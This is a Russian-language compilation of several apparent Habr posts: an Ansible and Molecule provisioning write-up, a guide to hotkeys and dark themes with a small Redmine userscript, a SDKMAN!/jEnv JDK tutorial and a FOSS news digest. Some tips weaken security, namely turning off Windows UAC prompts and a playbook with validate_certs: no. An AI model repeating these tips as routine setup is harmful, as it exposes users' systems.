Тестирование конфигураций и ansible ролей Molecule+Testinfra. Тесты идут намного быстрее, если подключаете к ansible mitogen. Параллельно мы начали писать собственную CMDB и оркестратор для автоматического деплоя (на картинке над Cobbler), но это уже совсем другая история, о которой в будущем расскажет мой коллега и главный разработчик этих систем.

Наш выбор:

Molecule + Testinfra
Ansible + Tower + AWX
Мир Серверов + DITNET(Собственная разработка)
Cobbler
Gitlab + GitLab runner
Hashicorp Vault




Кстати про ansible роли. Сначала она была одна, после нескольких рефакторингов их стало 17. Категорически рекомендую разбивать монолит на идемпотентные роли, которые можно потом запускать отдельно, дополнительно можно добавить теги. Мы роли разбили по функционалу network, logging, packages, hardware, molecule etc. А вообще, придерживались стратегии ниже. Не настаиваю на том, что это истина в единственной инстанции, но у нас сработало.

  • Копирование серверов из золотого образа зло!

    Из основных недостатков вы точно не знаете, в каком состоянии образы сейчас, и что все изменения придут во все образы во все фермы виртуализации.
  • Используйте дефолтные файлы конфигурации по минимуму и договоритесь с другими подразделениями, что за основные системные файлы отвечаете вы, например:

    1. Оставьте /etc/sysctl.conf пустым, настройки должны лежать только в /etc/sysctl.d/. Ваш дефолт в один файл, кастом для приложения в другой.
    2. Используйте override файлы для редактирования systemd юнитов.
  • Шаблонизируйте все конфиги и подкладывайте целиком, по возможности никаких sed и его аналогов в плейбуках
  • Рефактория код системы управления конфигурациями:

    1. Разбейте задачи на логические сущности и перепишите монолит на роли
    2. Используйте линтеры! Ansible-lint, yaml-lint, etc
    3. Меняйте подход! Никакого bashsible. Нужно описывать состояние системы
  • Под все Ansible роли нужно написать тесты в molecule и раз в день генерировать отчёты.
  • В нашем случае, после подготовки тестов (которых больше 100) нашлось около 70000 ошибок. Исправляли несколько месяцев.


Наша реализация

Итак, ansible роли были готовы, шаблонизированы и проверены линтерами. И даже гиты везде подняты. Но вопрос надежной доставки кода в разные сегменты остался открытым. Решили синхронизировать скриптами. Выглядит так:



После того, как приехало изменение, запускается CI, создаётся тестовый сервер, прокатываются роли, тестируются молекулой. Если всё ок, код уходит в прод ветку. Но мы не применяем новый код на существующие сервера в автомате. Это своеобразный стопор, который необходим для высокой доступности наших систем. А когда инфраструктура становится огромной, в дело идёт ещё закон больших чисел даже если вы уверены, что изменение безобидное, оно может привести к печальным последствиям.

Вариантов создания серверов тоже много. Мы в итоге выбрали кастомные скрипты на питоне. А для CI ansible:

- name: create1.yml - Create a VM from a template  vmware_guest:    hostname: "{{datacenter}}".domain.ru    username: "{{ username_vc }}"    password: "{{ password_vc }}"    validate_certs: no    cluster: "{{cluster}}"    datacenter: "{{datacenter}}"    name: "{{ name }}"    state: poweredon    folder: "/{{folder}}"    template: "{{template}}"    customization:      hostname: "{{ name }}"      domain: domain.ru      dns_servers:        - "{{ ipa1_dns }}"        - "{{ ipa2_dns }}"    networks:      - name: "{{ network }}"        type: static        ip: "{{ip}}"        netmask: "{{netmask}}"        gateway: "{{gateway}}"        wake_on_lan: True        start_connected: True        allow_guest_control: True    wait_for_ip_address: yes    disk:      - size_gb: 1        type: thin        datastore: "{{datastore}}"      - size_gb: 20        type: thin        datastore: "{{datastore}}"

Вот к чему мы пришли, система продолжает жить и развиваться.

  • 17 ansible-ролей для настройки сервера. Каждая из ролей предназначена для решения отдельной логической задачи (логирование, аудит, авторизация пользователей, мониторинг и т.д.).
  • Тестирование ролей. Molecule + TestInfra.
  • Собственная разработка: CMDB + Оркестратор.
  • Время создания сервера ~30 минут, автоматизировано и практически не зависит от очереди задач.
  • Одинаковое состояние/именование инфраструктуры во всех сегментах плейбуки, репозитории, элементы виртуализации.
  • Ежедневная проверка состояния серверов с генерацией отчётов о расхождениях с эталоном.

Надеюсь мой рассказ будет полезен тем, кто в начале пути. А какой стек автоматизации используете вы?
Подробнее..

Минимизация кликов и горячие клавиши для жизни разработчика Темнее Тёмной Темноты

02.07.2020 08:05:44 | Автор: admin
Хороший разработчик/аналитик/просто пользователь ПК стремится к оптимизации любого процесса. Будь то хоть включение чайника на кухне, пока снимаешь куртку зимой, а также к улучшению и модернизации рабочего места или ПО.
Медленный компьютер, тормозящие приложения, узкое использование инструментов с огромнейшими возможностями всё это демотивирует.
Попробуем расширить кругозор и оптимизировать каждый клик.



В статье разобраны 5 IDE, 2 приложения для работы с БД, 2 ОС, 2 браузера и 2 SSH программы и хранитель паролей.



Навигация
PhpStorm 2020.1.2
Notepad++ v7.8.7
Apache Netbeans 12
Sublime Text 3
Visual Studio Code 1.46.1
Redmine
Atlassian (Trello, Bitbucket, SourceTree 3.3.9, Jira, Confluence)
Windows 10
Linux
Google Chrome 83.0
Mozilla (Firefox 78.0b9, Thunderbird 68.9.0)
PL SQL Developer 13
DBeaver 7.1.0
Keepass 2.45
WinSCP 5.17.6
Putty 0.73
Прокачиваем мобильник

Я разбил каждый пункт на подпункты и сделал их раскрывающимися меню, чтоб каждый смог посмотреть только то, чем пользуется или в чём заинтересован.

Вот основные подпункты:
  • Описание. Основное, что делает программа либо выжимка с Википедии
  • Горячие клавиши Совокупность клавиш, при одновременном нажатии которых происходит запрограммированное действие
  • Главное меню Оптимизация рабочего пространства
  • Выравнивание/Табуляция Автоформатирование отступов
  • Шаблоны кода Заранее написанные блоки кода, вызываемые по аббревиатурам и запрограммированной клавише, обычно Tab
  • Ссылки Ссылки на официальный сайт, сайт откуда можно скачать, описание в Википедии, мобильная версия если такая есть, а также просто полезные ссылки, допустим на статьи о приложении


ТТТ
Отдельно хочу выделить подпункт, который я везде называю ТТТ Темнее Тёмной Темноты.
Окрашивание в тёмный цвет всего, что можно + полезные ссылки, в основном на тёмные
темы с userstyles.org (почему-то прямая ссылка даёт иногда 504 ошибку, а ссылки на темы работают нормально), предварительно поставив плагин Stylus в Chrome или в Mozilla
Общие примеры:
Глобальные темы для браузеров:
darkreader
global-dark
ВК
Google Script
скрин



IDE


PhpStorm 2020.1.2




ТТТ
File Settings Editor Color Scheme Material Darker

Выравнивание/Табуляция
  • Code Reformat Code или CTRL+ALT+L
  • File Settings Editor Code Style


Горячие клавиши

Главное меню
File Settings Menus and Toolbars

Шаблоны кода
File Settings Editor Live Templates

Тестирование REST запросов внутри программы
Очень удобно если важна не визуальная составляющая ответа, внутрянка.
Tools HTTP Client Test RESTful Web Service


БД
View Tool Windows Database



SSH
Tools Deployment Browse Remote Host

GIT
  • Если установлен гит, то правой кнопкой мыши в любом файле GIT
  • VCS Git
  • В нижней панели Version Control


Экспорт настроек


Командная строка
Снизу вкладка Terminal

Тайм-трекинг
File Settings Tools Tasks Servers




Notepad++ v7.8.7



Плагины
Плагины Управление плагинами. Есть полезные:
  • XML Tools
  • QuickText (Это шаблоны кода)
  • Snippets
  • Customize Toolbar (Это настройка главного меню)
  • Compare (Diff)


Выравнивание/Табуляция
Опции Настройки Синтаксисы

Горячие клавиши
Опции Сочетание клавиш

ТТТ
Опции Определение стилей




Apache Netbeans 12




Горячие клавиши
Tools Options Keymap

Выравнивание/Табуляция
Tools Options Editor Formatting

Шаблоны кода
Tools Options Editor Code Templates (бонусом выставление курсора)

Главное меню
Tools Options Appearance Document Tabs, а также в вкладке Window

Командная строка
Window IDE Tools Terminal

ТТТ






Sublime Text 3




ТТТ
  • Preferences Color Scheme Monokai
  • Preferences Theme


Горячие клавиши
Preferences Key Bindings

Шаблоны кода
Tools Snippets




Visual Studio Code 1.46.1




Горячие клавиши
File Preferences Keyboard Shortcuts

Консоль
Terminal New terminal

Расширешия
View Extensions

Репозиторий
View SCM


Ссылки



Аналитика


Redmine


новый




ТТТ
При создании нового проекта есть выбор светлой или тёмной темы.


старый


ТТТ
Не забываем подправлять URL если он у нас домашний



Шаблоны
Скачиваем и устанавливаем Redmine.
Создаём, что надо, проекты и т.д.
Допустим нам надо заполнить по шаблону поля при создании новой задачи.
Для этого нам опять помогут UserScript`ы.
Устанавливаем TamperMonkey по аналогии с статьёй habr.com/ru/post/504664 (пункт Юзерскрипты в браузере), вставляем
код
// ==UserScript==// @name         redmineTemplate// @namespace    http://127.0.0.1/redmine*// @version      0.1// @author       You// @match        http://127.0.0.1/redmine*// ==/UserScript==var d = document.createElement('span');document.querySelector('#issue_tracker_id').parentNode.appendChild(d);d.style['color'] = 'red';d.style.width = '100px';d.style.cursor = 'pointer';d.style.paddingLeft = '30px';d.textContent = 'Шаблон'; d.addEventListener('click', function () {   //Трекер   $('#issue_tracker_id :contains(\'Поддержка\')').attr('selected', 'selected');   // Описание   $('#issue_description').val('Полное описание. \nПример:...');   // Срок завершения   $('#issue_due_date').attr('value',$('#issue_start_date').attr('value'));   // Готовность   $('#issue_done_ratio :contains(\'30 %\')').attr('selected', 'selected'); });



Появляется кнопка, жмём, автозаполняются поля теми значениями, которые мы указали.


Скрипт простой, но времени экономит вагон.
Можно в любой части редмайна вставить подобные скрипты и автоматизировать часто используемые части.




Atlassian


У Atlassian есть хаб в хабре, некоторые статьи будут из него

Confluence








Trello




Горячие клавиши

Шаблоны



Bitbucket







SourceTree 3.3.9




ТТТ
Инструменты Настройки Общее Theme

Шаблоны кода
Инструменты Настройки Пользовательские действия

Горячие клавиши
Подсвечены в главном меню у каждого пункта



Jira




Шаблоны кода
Через TamperMonkey по аналогии с старым редмайном (выше)
document.querySelector('#summary').value = 'Новая тема'







ОС


Windows 10




bat
Очень много батников нашлось в интернете и много статей в Хабре. Кому интересно, просто заходим в Хабр, вводим в поиск bat (либо сразу по ссылке) и изучаем возможности.


ТТТ


Пуск Параметры Персонализация Цвета Тёмный.
Как изменить цвет выделения в Windows 10
Как изменить цвет окон Windows 10

Ускорение


Оптимизация действий
  • Автозагрузка нынче перенеслась из WIN+R msconfig в Диспетчер задач (CTRL+SHIFT+ESC либо переходим в Пуск Параметры Приложения Автозагрузка).
  • Скрипт настройки Windows 10


Отключаем ненужные приложения
Если мы хотим, чтоб при запуске Windows сразу открывались нужные нам приложения, добавляем их в папку автозагрузки.
Обычно она по адресу C:\Users\ВАШ_ПОЛЬЗОВАТЕЛЬ\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, либо можно так: WIN+R Вводим shell:startup, в папку вставляем приложения (лучше ярлыки)
Добавить приложение для автоматического запуска при начальной загрузке Windows 10
Отключить подтверждение перед установкой приложений (UAC контроль учётных записей). Жмём лупу справа от Пуска, вводим UAC, жмём Изменение параметров контроля учётных записей, бегунок вниз.

Внешний вид
Приводим рабочий стол в порядок, удаляем лишнее, переносим ярлыки, чтоб все были под рукой. Тоже самое делаем и с папками, сколько бы временных затрат это ни стоило. Упорядоченные папки, без шуток, экономят массу времени (но я до сих пор не могу разобрать злосчастную папку На потом).
Если вам мало места или вы ведёте двойную/тройную жизнь, допустим дизайнер и БДшник, используйте несколько рабочих столов



Linux




Да простят меня все, но я не Линуксоид. Собрал, что знал, думаю хоть что-то, да будет полезным




Браузеры


Google Chrome 83.0




Для ускорения обмена настройками между разными компьютерами, а также для быстрого подключения к сервисам Google заводим аккаунт и настраиваем синхронизацию. Не стесняемся объединять закладки в папки для экономии места.




Mozilla


Firefox Developer 78.0b9


Также, как и в Chrome для ускорения обмена настройками между разными компьютерами заводим аккаунт и настраиваем синхронизацию. И также объединяем закладки в папки для экономии места.
ТТТ


Ссылки



Thunderbird 68.9.0


Папки и фильтры
Если нам приходится много работать с почтой, системное разделение на папки по темам очень ускоряет работу и не отвлекает на ненужную почту.
Инструменты Фильтры сообщений. Настройка антиспама и пересылки раскладывания сообщений по папкам настраивается тут.

ТТТ
Инструменты Дополнения Темы Dark




Database


PL SQL Developer 13




Шаблоны кода
Они чуть другие, чем обычные шорткаты. Вставляются либо двойным кликом либо перетаскиванием в рабочее окно.
Вид Список шаблонов





DBeaver 7.1.0




ТТТ
  • Окна Настройки Общие Внешний вид Dark
  • Окна Настройки Общие Внешний вид Цвета и шрифты


Горячие клавиши
Окна Настройки Общие Клавиши

Выравнивание/Табуляция
  • Окна Настройки Общие Текстовые редакторы
  • Окна Настройки DBeaver Редакторы Редактор SQL Форматирование


Шаблоны кода
Окна Настройки DBeaver Редакторы Редактор SQL Templates

Диаграммы связей
Собственно из-за чего я и оставил DBeaver. Жмём на таблицу с CTRL, выбираем вкладку Диаграмма и видим все соединения с выбранной таблицей.




Храним пароли


Keepass 2.45




Храним пароли в одном месте.



FTP + SSH


WinSCP 5.17.6




Чтоб меняться подключениями между рабочими местами, пользуемся выгрузкой Инструменты Экспорт настроек
ТТТ
Внешний вид Интерфейс Theme Dark

Горячие клавиши
В главном меню Команды





Putty 0.73




Обмен подключениями между рабочими местами нашёл пока только такой способ через реестр Computer\HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
ТТТ
Window Colours




Прокачиваем мобильник


Уделяем внимание папкам и объединению приложений. Лишний клик забывается, как только привыкаешь и запоминаешь, где что.
Если у вас уже настроена почта по папкам, то с мобильного телефона удобней смотреть уже сортированное. То есть настраиваем на компьютере, пользуемся на компьютере и на мобильном.
Боты в телеграм. Скептически к ним относился, пока пару штук не сделал и не понял всех возможностей. Склеивать их с различными Google-сервисами можно на ура, главное придумать, как оптимизировать время, создав или найдя уже существующего полезного бота.
Календарь. Тут всё просто. Используем его везде.
Чеклист допустим TickTick
Список дел, допустим Простой список дел или Задачи: Список задач. Нужны, чтоб не держать всё в голове и если не нравится календарь.

Итог


Мы научились пользоваться горячими клавишами, шаблонами кода, оптимизировали рабочее пространство приложений и узнали новые возможности.
Тратьте время на настройки и ускоряйте рабочий процесс до одного клика.

Полезные ссылки, которые также могут пригодится


Tabsbook
www.tabsbook.ru Пока для меня самый удобный менеджер закладок, работающий как в Chrome, так и в Mozilla. Если есть инструмент, объединяющий закладки кроссбраузерно, буду признателен поделившимся.


Adminer
www.adminer.org очень хорошая альтернатива www.phpmyadmin.net, умещается в один файл php.


Heroku
www.heroku.com облачная PaaS-платформа

Miro
Miro (до 2019 года RealtimeBoard) платформа для совместной работы распределенных команд (в том числе при дистанционной работе отдельных сотрудников), разработанная в России и вышедшая на международный рынок.
Официальный сайт
Википедия
Андроид

Airtable
Airtable представляет собой гибрид базы данных и электронной таблицы.
Официальный сайт
Википедия
Андроид

AWD - Android Web Developer
AWD PHP/HTML/CSS/JS IDE Android Web Developer (AWD) это IDE (интегрированная среда разработки) для веб разработчиков. Поддерживаются следующие языки и форматы: PHP, CSS, JS, HTML, JSON
Подробнее..

Перевод Управление несколькими JDK в Mac OS, Linux и Windows WSL2

23.06.2020 16:19:11 | Автор: admin
И снова здравствуйте. В преддверии старта курса Разработчик Java подготовили для вас перевод интересной статьи.



Если вам, как и мне, приходится одновременно работать с несколькими проектами (как с легаси, так и с современными), а возможно, вы разрабатываете какую-то библиотеку или утилиту для пользователей с разными версиями Java, то вы поймете проблему с переключением между разными JDK.



В наши дни установка, управление и переключение между JDK при разработке становится непростой задачей, потому что большое количество разработчиков все еще работает с Java 8, хотя многие уже переходят на Java 11. Эта проблема может быть решена разными способами. В этой статье мы рассмотрим некоторые из них.

Ручной способ


Вы можете скачать дистрибутивы с сайта вендора JDK и установить их все вручную (или просто распаковать их в какую-нибудь папку вроде $user/jdks) и все. Но тогда вам придется каждый раз проверять и обновлять JAVA_HOME, чтобы там была нужная вам JDK.

Это можно сделать с помощью bash-скриптов, bash-функций и т. д. В чем же тогда проблема? Вы просто можете забыть вызвать скрипт / функцию и поймете, что что-то пошло не так, только когда увидите UnsupportedClassVersionError.

Если вы предпочитаете все делать вручную, то можете покопаться в интернете для поиска решений. И это может быть хорошим вариантом для продвинутых пользователей. Но я использую для этого пару утилит. Итак, давайте посмотрим на них.

Лучший способ


На мой взгляд, идеальным решением будет объединение двух open source инструментов, которые существуют уже довольно давно, и возможно, вы знакомы, по крайней мере, с одним из них. Но что вы не знаете, так это то, что их можно использовать вместе.



Давайте посмотрим на их совместное использование.

Установка нескольких JDK



После установки SDKMAN! наберите:

$ sdk list java


Найдите нужного вендора, версию и введите:

$ sdk install java <id>


Давайте установим четыре JDK: две последние версии Oracle OpenJDK и две LTS-версии AdoptOpenJDK.

При установке не выбирайте JDK по умолчанию.

  1. AdoptOpenJDK сборка OpenJDK 8u252 LTS
  2. AdoptOpenJDK сборка OpenJDK 11.0.7 LTS
  3. Oracle OpenJDK 14 Последний GA
  4. Oracle OpenJDK 15 Early Access сборка


Эти четыре версии должны отвечать вашим потребностям для легаси-проектов на Java 8, для современных проектов на Java 11, а также для экспериментов с нововведениями в Java 14 и Java 15.

Отлично. У вас есть четыре JDK, установленные локально с помощью SDKMAN! Я думаю, что эта утилита действительно удобна для установки JDK и, я надеюсь, она вам тоже понравилась.

Все установленные JDK можно найти в следующем каталоге:

$ cd /Users/bruno/.sdkman/candidates/java$ ls11.0.7.hs-adpt  14.0.1-open     15.ea.20-open   8.0.252.hs-adpt


Если у вас нет необходимости часто переключаться между разными JDK, то этого будет достаточно. Вы можете использовать SDKMAN! для выбора JDK:

$ sdk current javaUsing java version 15.ea.19-open$ sdk default java 15.ea.20-openDefault java version set to 15.ea.20-open


На этом можно остановиться и использовать только SDKMAN!, но рано или поздно, вы забудете переключить JDK точно так же как при ручном подходе. Поэтому я предпочитаю автоматическое переключение JDK.

Управление несколькими JDK с помощью jEnv




Несмотря на то что SDKMAN! удобен для установки JDK, но он не помогает при автоматическом переключении между разными JDK при переходе от одного проекта к другому. Здесь нам поможет jEnv.

После того как вы установите несколько JDK, с помощью SDKMAN! или любыми другими способами, вам нужно будет добавить их в jEnv:

$ cd ~/.sdkman/candidates/java$ ls -111.0.7.hs-adpt 14.0.1-open    15.ea.20-open8.0.252.hs-adpt$ jenv add 15.ea.20-openopenjdk64-15-ea added15-ea added15-ea added...$ jenv versions system 1.8 1.8.0.252 11.0 11.0.7 14.0 14.0.1* 15-ea (set by /Users/bruno/.jenv/version) openjdk64-1.8.0.252 openjdk64-11.0.7 openjdk64-14.0.1 openjdk64-15-ea


Повторите команду jenv add для оставшихся трех версий JDK.

jEnv особенно удобен для тех, кто постоянно использует командную строку. Он позволит вам:

  1. Установить версию Java глобально для вашей системы.
  2. Установить версию Java для текущего каталога / проекта, в котором вы находитесь.
  3. Установить версию Java для текущего shellа.


jEnv использует shim и автоматически управляет переменной окружения JAVA_HOME. Таким образом, после того как вы настроите вашу систему, jEnv будет переключать версию JDK на наиболее подходящую, на основе вышеуказанных приоритетов и текущей директории. Круто! У него есть и другие полезные функции дополнительную информацию смотрите на сайте.

Автоматическое переключение между JDK


Теперь у вас установлены Java 8, 11, 14 и 15-EA. Итак, как же переключаться между ними? Давайте настроим версии и протестируем переключение.

Сначала нужно указать дефолтную глобальную JDK в системе. Для этого я обычно использую ранние сборки (Early Access). Всякий раз, когда я начинаю работать с новым проектом, я автоматически использую предстоящий релиз, что помогает мне выявить потенциальные проблемы, которые я могу сообщить в проект OpenJDK. Вы же тоже так делаете

$ jenv global 15


Теперь для любой папки, в которой вы находитесь, при выполнении java -version вы получите OpenJDK 15 EA.
Если у вас есть проект, который должен использовать Java 8, то перейдите в папку и запустите:

$ jenv local 1.8


В результате будет создан файл под названием .java-version со следующим содержимым:

$ cat .java-version1.8


Этот файл сообщает jEnv, какую JDK использовать, когда вы находитесь в этой папке.

Наконец, если вы и хотите временно переключиться на другую версию JDK, то используйте jenv shell.

Здесь есть демо, которое может пояснить все вышеописанное и как работает автопереключение.

После публикации статьи на Reddit были несколько интересных комментариев, о которых стоит здесь сказать:

  • SDKMAN! с версии 5.8.1+ поддерживает sdk env и там тоже доступно автоматическое переключение.
  • direnv очень хорош и не привязан к java. Делает то же самое, что и jEnv, за исключением того, что не помогает вам легко переключать JDK. Вы должны редактировать файлы вручную.
  • autoenv еще одна альтернатива direnv с теми же ограничениями.
  • jabba наиболее перспективная альтернатива сочетанию SDKMAN + jEnv, поскольку поддерживает весь их функционал и работает в Windows (PowerShell), что не поддерживается другими, упомянутыми выше, инструментами.

Надеюсь, вам понравилось прочитанное. Если у вас есть вопросы, просто свяжитесь со мной в Твиттере.



УПРАВЛЯЕМ ВЕРСИЯМИ БАЗ ДАННХ ЧЕРЕЗ FLYWAY




Еще по теме


Подробнее..

FOSS News 20 обзор новостей свободного и открытого ПО за 8-14 июня 2020 года

14.06.2020 16:21:45 | Автор: admin


Всем привет!

Продолжаем обзоры новостей и других материалов на тему свободного и открытого ПО и немного железа. Всё самое главное про пингвинов и не только, в России и мире. Гамбург планирует переход на свободное и открытое ПО, лучшие удалённые курсы от Linux Foundation, проект humanID, предзаказ планшета PineTab поставляемого с Ubuntu Touch, преимущества и недостатки участия в Open Source, рассуждения на тему свободного и/или отечественного ПО, меры защиты своих данных на случай избыточного внимания от органов и не только и многое другое.

Оглавление


  1. Главные новости
    1. В Мюнхене и Гамбурге согласован перевод госучреждений с продуктов Microsoft на открытое ПО
    2. Лучшие удалённые курсы от Linux Foundation в 2020: Введение в Linux, Cloud Engineer Bootcamp и другие
    3. Проект humanID: Восстанавливая цивилизованную дискуссию через лучшую онлайн идентификацию
    4. Доступен для заказа планшет PineTab, поставляемый с Ubuntu Touch
    5. Мир Open Source: преимущества и недостатки
    6. Свободное или отечественное ПО. Стандартное или свободное обучение
    7. Что делать, если к твоему хостеру пришли siloviki
  2. Короткой строкой
    1. Новости FOSS организаций
    2. Юридические вопросы
    3. Ядро и дистрибутивы
    4. Системное
    5. Специальное
    6. Безопасность
    7. Для разработчиков
    8. Пользовательское
    9. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Для разработчиков
    4. Специальный софт
    5. Пользовательский софт

Главные новости


В Мюнхене и Гамбурге согласован перевод госучреждений с продуктов Microsoft на открытое ПО




OpenNET пишет: Социал-демократическая партия Германии и Европейская партия зелёных, до следующих выборов в 2026 году занявшие лидирующие позиции в городских советах Мюнхена и Гамбурга, опубликовали коалиционное соглашение, определяющее снижение зависимости от продуктов Microsoft и возвращение инициативы по переводу IT-инфраструктур государственных учреждений на Linux и открытое программное обеспечение. Партиями подготовлен и согласован, но пока не подписан, 200-страничный документ, описывающий стратегию управления Гамбургом в течение последующих пяти лет. В области IT документ определяет, что для избежания зависимости от отдельных поставщиков при наличии технологических и финансовых возможностей акцент будет сделан на открытых стандартах и приложениях под открытыми лицензиями.

Подробности

Лучшие удалённые курсы от Linux Foundation в 2020: Введение в Linux, Cloud Engineer Bootcamp и другие




Знание GNU/Linux сегодня востребовано как никогда при работе с облачными технологиями, даже в Microsoft Azure GNU/Linux популярнее Windows. Особо важно то, как и где люди учатся работе с этой свободной системой. И здесь на первом месте естественно Linux Foundation. ZDNet пишет, Linux Foundation пионер IT сертификации, предлагавший свои первые программы сертификации в удалённом формате ещё в 2014 году. До этого было практически невозможно получить IT сертификат вне обучающего центра. Linux Foundation установила надёжные и проверенные удалённые процедуры обучения. Это существенно упростило обучение и особенно важно сейчас, в дни пандемии, для профессионалов, желающих пройти сертификацию без поездки куда-либо.

Примеры программ обучения (требуется знание английского):

  1. Введение в Linux (LFS101)
  2. Основы системного администрирования Linux (LFS201)
  3. Работа с сетью и администрирование Linux (LFS211)
  4. Основы безопасности Linux
  5. Основы работы с контейнерами
  6. Введение в Kubernetes
  7. Основы Kubernetes
  8. Cloud Engineer Bootcamp (7 курсов в одном блоке)

Подробности

Проект humanID: восстанавливая цивилизованную дискуссию через лучшую онлайн идентификацию





Linux.com рассказывает о новом проекте, призванном повысить безопасность и комфорт работы в Интернете. Каждый день миллиарды людей используют социальные учетные записи, такие как Войти через Facebook и подобные, для доступа к приложениям через Интернет. Основным недостатком этой системы является невозможность отличить реального пользователя от бота, пишет издание. Некоммерческая организация humanID, получатель Фонда социального воздействия Гарвардского университета, выступила с инновационной идеей: разработать анонимный вход одним щелчком, который служит альтернативой социальному входу. С помощью humanID каждый может пользоваться услугами, не отказываясь от конфиденциальности и не продавая свои данные. Бот-сети автоматически исключаются, в то время как приложения могут легко блокировать злоумышленников и троллей, создавая больше гражданских цифровых сообществ, говорит Бастиан Пуррер, соучредитель humanID.

Подробности (en)

Доступен для заказа планшет PineTab, поставляемый с Ubuntu Touch




OpenNET сообщает: Сообщество Pine64 начало приём заказов на 10.1-дюймовый планшет PineTab, поставляемый с окружением Ubuntu Touch от проекта UBports. В качестве опции предоставляются сборки PostmarketOS и Arch Linux ARM. Планшет продаётся по цене 100 долларов, а за $120 предлагается комплектация с отсоединяемой клавиатурой, позволяющей использовать устройство как обычный ноутбук. Начало поставки ожидается в июле.

Основные характеристики, по данным издания:

  1. 10.1-дюймовый экран HD IPS с разрешением 1280800;
  2. CPU Allwinner A64 (64-разрядный 4-ядерных ARM Cortex A-53 1.2 GHz), GPU MALI-400 MP2;
  3. Память: 2GB LPDDR3 SDRAM ОЗУ, встроенный 64GB eMMC Flash, слот для SD-карт;
  4. Две камеры: задняя 5MP, 1/4 (LED Flash) и фронтальная 2MP (f/2.8, 1/5);
  5. Wi-Fi 802.11 b/g/n, single-band, hotspot, Bluetooth 4.0, A2DP;
  6. 1 полноценный разъём USB 2.0 Type A, 1 разъём micro USB OTG (можно использовать для зарядки), порт USB 2.0 для dock-станции, HD Video out;
  7. Слот для подключения расширений M.2, для которого опционально поставляются модули с SATA SSD, LTE-модемом, LoRa и RTL-SDR;
  8. Аккумулятор Li-Po 6000 mAh;
  9. Размер 258мм x 170мм x 11.2мм, вариант с клавиатурой 262мм x 180мм x 21.1мм. Вес 575 грамм (с клавиатурой 950 грамм).

Подробности (1, 2 (en))

Мир Open Source: преимущества и недостатки по мнению рядового участника





На Хабре появилась статья, где автор делает субъективную попытка оценить мир open source, с позиции рядового контрибьютора, спустя два года ежедневного участия. Описывает свой подход автор таким образом Не претендую на истину, не напрягаю советами, только структурированные наблюдения. Возможно, эта статья поможет лично вам понять быть или не быть open source contributor'ом и называет следующие преимущества и недостатки Open Source:

  • преимущества:
    1. разносторонний опыт в программировании
    2. свобода
    3. развитие soft skills
    4. самореклама
    5. карма
  • проблемы:
    1. иерархия
    2. планирование
    3. задержка в коммуникации

Подробности

Свободное или отечественное ПО. Стандартное или свободное обучение




В блоге компании открытой и свободной ОС для встроенных систем Embox на Хабре был опубликован пост с разбором вопросов, становящихся в последнее время всё актуальнее в нашей стране. Автор пишет во введении к статье: В начале февраля в Переславль-Залесском прошла пятнадцатая конференция Свободное программное обеспечение в высшей школе организованная компанией Базальт СПО. В данной статье я хочу поднять несколько вопросов, которые мне показались наиболее важными, а именно, какое ПО лучше: свободное или отечественное, и, что важнее при обучении специалистов в IT области: следование стандартам или развитие самостоятельности.

Подробности

Что делать, если к твоему хостеру пришли siloviki




В блоге хостера RUVDS на Хабре опубликована небольшая, но интересная статья о защите своих данных от достаточно нестандартной угрозы, но к сожалению не такой невероятной. Автор пишет во введении: Если вы арендовали сервер, то полного контроля у вас над ним нет. Это значит, что в любой момент к хостеру могут прийти специально обученные люди и попросить предоставить любые ваши данные. И хостер их отдаст, если требование будет оформлено по закону. Вы очень не хотите, чтобы логи вашего веб-сервера или данные пользователей попали кому-то еще. Идеальную защиту построить не получится. Защититься от хостера, который владеет гипервизором и предоставляет вам виртуальную машину почти невозможно. Но, возможно, получится немного снизить риски.

Подробности

Короткой строкой


Новости FOSS организаций


  1. Полезного пост: Kogito ergo sum; Дельта, Каппа, Lambda; Operator SDK полезные ссылки на живые мероприятия, видео, митапы и техтолки от RedHat []
  2. Проект FreeBSD принял новый кодекс поведения разработчиков []
  3. Язык Go избавляется от неполиткорректных терминов whitelist/blacklist и master/slave []
  4. Проект OpenZFS из-за политкорректности избавился от упоминания слова slave в коде []
  5. PeerTube начал сбор средств на новую функциональность, включая живые трансляции []

Юридические вопросы


  1. Спор о правах Rambler на Nginx продолжен в суде США []

Ядро и дистрибутивы


  1. Сравнение Linux Mint XFCE vs Mate []
  2. Началось бета-тестирование мобильной платформы Android 11 []
  3. Дистрибутив elementary OS представил OEM-сборки и договорился о предустановке на ноутбуки []
  4. Компания Canonical предложила патчи для ускорения активации спящего режима []
  5. Микроядро seL4 математически верифицировано для архитектуры RISC-V []

Системное


  1. Как синхронизация времени стала безопасной []
  2. Как и почему опция noatime повышает производительность Linux-систем []
  3. Настройка прокси для WSL (Ubuntu) []

Специальное


  1. Установка Wireguard в Ubuntu []
  2. Nextcloud протик ownCloud: В чём разница? Что использовать? [ (en)]
  3. OpenShift virtualization: контейнеры, KVM и виртуальные машины []
  4. Как создать изогнутый текст в Gimp? [ (en)]
  5. Установка и настройка RTKRCV (RTKLIB) на Windows 10 с использованием WSL []
  6. Обзор гибридной системы мониторинга Okerr []

Безопасность


  1. В uBlock Origin добавлена блокировка скриптов для сканирования сетевых портов []
  2. Удалённо эксплуатируемая уязвимость в библиотеке GNU adns []
  3. CROSSTalk уязвимость в CPU Intel, приводящая к утечке данных между ядрами []
  4. Обновление микрокода Intel, устраняющее уязвимость CROSSTalk, приводит к проблемам []
  5. В браузере Brave выявлена подстановка реферального кода при открытии некоторых сайтов []
  6. Уязвимость в GnuTLS, позволяющая возобновить сеанс TLS 1.3 без знания ключа []
  7. Уязвимость в UPnP, подходящая для усиления DDoS-атак и сканирования внутренней сети []
  8. Уязвимость во FreeBSD, эксплуатируемая через вредоносное USB-устройство []

Для разработчиков


  1. Агломеративная кластеризация: алгоритм, быстродействие, код на GitHub []
  2. Как починить все самому, если баг-репорты игнорируются: отлаживаю wkhtmltopdf под Windows []
  3. Инструменты автоматического тестирования: митап Яндекс.Денег []
  4. Ускоряем деплой на продакшен канарейками и самописным мониторингом []
  5. Опубликован исходный код Command & Conquer: смотрим, что внутри []
  6. Linux и WYSIWYG []
  7. Transparent coroutines. О библиотеке на C++, которая поможет встроить сопрограммы прозрачно для стороннего кода []

Пользовательское


  1. Как узнать модель материнской платы в Linux? []
  2. Kup, утилита для резервного копирования, присоединилась к KDE []
